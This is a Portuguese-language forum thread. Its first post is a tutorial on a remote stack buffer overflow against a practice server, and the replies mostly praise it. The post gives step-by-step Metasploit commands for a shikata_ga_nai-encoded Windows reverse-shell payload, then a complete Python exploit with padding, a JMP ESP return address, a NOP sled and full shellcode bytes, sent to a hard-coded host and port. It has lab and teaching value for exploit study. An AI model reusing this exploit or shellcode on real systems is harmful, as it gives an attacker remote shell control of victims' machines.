Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Tutorial - Remote Stack Buffer Overflow

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Video Aula Tutorial - Remote Stack Buffer Overflow

    [ame]http://www.youtube.com/watch?v=ZIFW4YL_DI4[/ame]



    1 - Olhei se o server estava vulneravel a Buffer Overflow, enviando 1000 'A', obtive sucesso, sobreescrevendo o Registrador EIP(Entry Point).

    2 - Gerei 1000 caracteres com o pattern_create do Metasploit e com isso enviei para o server, me retornou um endereço, com o endereço coloquei no pattern_offset e obtive o quantia exata para sobreescrever o EIP, 54 bytes + 4 bytes.

    3 - Pronto, já sei de quantos bytes são nessesários para sobreescrever o EIP, agora vamos ver quais dll o programa carrega e pega um endereço que pule para o ESP, mas pq ESP? Simplesmente pq o ESP está apontando para onde está nosso shellcode do payload. Achei o endereço 77056d53, maravilha, nesse endereço contem o seguinte comando, JMP ESP, um salto para o Registrador ESP, exatamente o queriamos.


    4 - Geramos nosso payload, no Metasploit com os seguintes comandos:
    + msfconsole < abre o Metasploit console
    + use payload/windows/shell_reverse_tcp < shell reversa, ou seja, a vitima quem vai se + conectar com a gente...
    + set lhost IP < Aqui colocamos nosso IP.
    + set lport PORTA < A porta para a conexão.
    + set encoder x86/shikata_ga_nai < vamos codificar ele com o Shikata.
    + generate -b '\x00' < Geramos nosso shellcode do payload e retiramos os valores nulos(null(00)).


    5
    - Enviamos os seguinte dados na ordem, o buffer(54 bytes), ocasionando a falha, o endereço( 77056d53(esse endereço que vai sobreescrever o EIP, mas pq sobreescrever o EIP com um enrereço? Simplesmente pq ele aponta para a próxima instrução a ser executada(endereço), assim, ele vai pular para onde está o nosso payload na stack)) para pular pra o ESP, alguns NOP(90h(faz nada)) e nosso shellcode!

    6 - Ser feliz! (:


    Download do Server Vulneravel:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Code do Exploit:

    Código PHP:
    import socket
     
    buff 
    b'A' 54
    eip 
    b'\x53\x6d\x05\x77'
    nops b'\x90' 30

    buf  
    b'\xbe\xb6\x17\xb0\xd8\xdd\xc0\xd9\x74\x24\xf4\x58  \x33\xc9'
    buf += b'\xb1\x4f\x83\xc0\x04\x31\x70\x10\x03\x70\x10\x54  \xe2\x4c'
    buf += b'\x30\x11\x0d\xad\xc1\x41\x87\x48\xf0\x53\xf3\x19  \xa1\x63'
    buf += b'\x77\x4f\x4a\x08\xd5\x64\xd9\x7c\xf2\x8b\x6a\xca  \x24\xa5'
    buf += b'\x6b\xfb\xe8\x69\xaf\x9a\x94\x73\xfc\x7c\xa4\xbb  \xf1\x7d'
    buf += b'\xe1\xa6\xfa\x2f\xba\xad\xa9\xdf\xcf\xf0\x71\xde  \x1f\x7f'
    buf += b'\xc9\x98\x1a\x40\xbe\x12\x24\x91\x6f\x29\x6e\x09  \x1b\x75'
    buf += b'\x4f\x28\xc8\x66\xb3\x63\x65\x5c\x47\x72\xaf\xad  \xa8\x44'
    buf += b'\x8f\x61\x97\x68\x02\x78\xdf\x4f\xfd\x0f\x2b\xac  \x80\x17'
    buf += b'\xe8\xce\x5e\x92\xed\x69\x14\x04\xd6\x88\xf9\xd2  \x9d\x87'
    buf += b'\xb6\x91\xfa\x8b\x49\x76\x71\xb7\xc2\x79\x56\x31  \x90\x5d'
    buf += b'\x72\x19\x42\xfc\x23\xc7\x25\x01\x33\xaf\x9a\xa7  \x3f\x42'
    buf += b'\xce\xd1\x1d\x0b\x23\xef\x9d\xcb\x2b\x78\xed\xf9  \xf4\xd2'
    buf += b'\x79\xb2\x7d\xfc\x7e\xb5\x57\xb8\x11\x48\x58\xb8  \x38\x8f'
    buf += b'\x0c\xe8\x52\x26\x2d\x63\xa3\xc7\xf8\x23\xf3\x67  \x53\x83'
    buf += b'\xa3\xc7\x03\x6b\xae\xc7\x7c\x8b\xd1\x0d\x0b\x8c  \x46\x6e'
    buf += b'\xa4\x10\x92\x06\xb7\x14\x31\xfb\x3e\xf2\x23\x14  \x17\xad'
    buf += b'\xdb\x8d\x32\x25\x7d\x51\xe9\xad\x1e\xc0\x76\x2d  \x68\xf9'
    buf += b'\x20\x7a\x3d\xcf\x38\xee\xd3\x76\x93\x0c\x2e\xee  \xdc\x94'
    buf += b'\xf5\xd3\xe3\x15\x7b\x6f\xc0\x05\x45\x70\x4c\x71  \x19\x27'
    buf += b'\x1a\x2f\xdf\x91\xec\x99\x89\x4e\xa7\x4d\x4f\xbd  \x78\x0b'
    buf += b'\x50\xe8\x0e\xf3\xe1\x45\x57\x0c\xcd\x01\x5f\x75  \x33\xb2'
    buf += b'\xa0\xac\xf7\xc2\xea\xec\x5e\x4b\xb3\x65\xe3\x16  \x44\x50'
    buf += b'\x20\x2f\xc7\x50\xd9\xd4\xd7\x11\xdc\x91\x5f\xca  \xac\x8a'
    buf += b'\x35\xec\x03\xaa\x1f'
     
    ha buff eip nops buf
     
    print('[+] Data length: ' str(len(ha)) + ' bytes')
    print(
    '[+] Sending...\n')
    print( 
    ha )
     
    socket.socketsocket.AF_INETsocket.SOCK_STREAM )
    s.connect(('192.168.1.3',15000))
    s.sendha )
    s.close()
     
    print(
    '\n[+]OK'

    Att #M0rph... (:
    "Nunca desista de seus sonhos. Desisti de seus sonhos é abrir mão da felicidade."
    (Augusto Cury)



    Meu Blog... http://www.lab-infor.blogspot.com
    Meu canal do Youtube... http://www.youtube.com/user/rodrigo32323232

  • Font Size
    #2
    Muito bom tutorial.
    Valeu cada segundo assistido.
    Tks.


    --> Liberte-se você também <--

    Comment


    • Font Size
      #3
      Muito Bom O Tutorial.
      Muito Bom Mesmo.
      Vlw.

      Comment


      • Font Size
        #4
        desculpa a ignorância mas isso é em C?

        Comment


        • Font Size
          #5
          Não amigo, isso é Python. (:
          "Nunca desista de seus sonhos. Desisti de seus sonhos é abrir mão da felicidade."
          (Augusto Cury)



          Meu Blog... http://www.lab-infor.blogspot.com
          Meu canal do Youtube... http://www.youtube.com/user/rodrigo32323232

          Comment

          X
          Working...
          X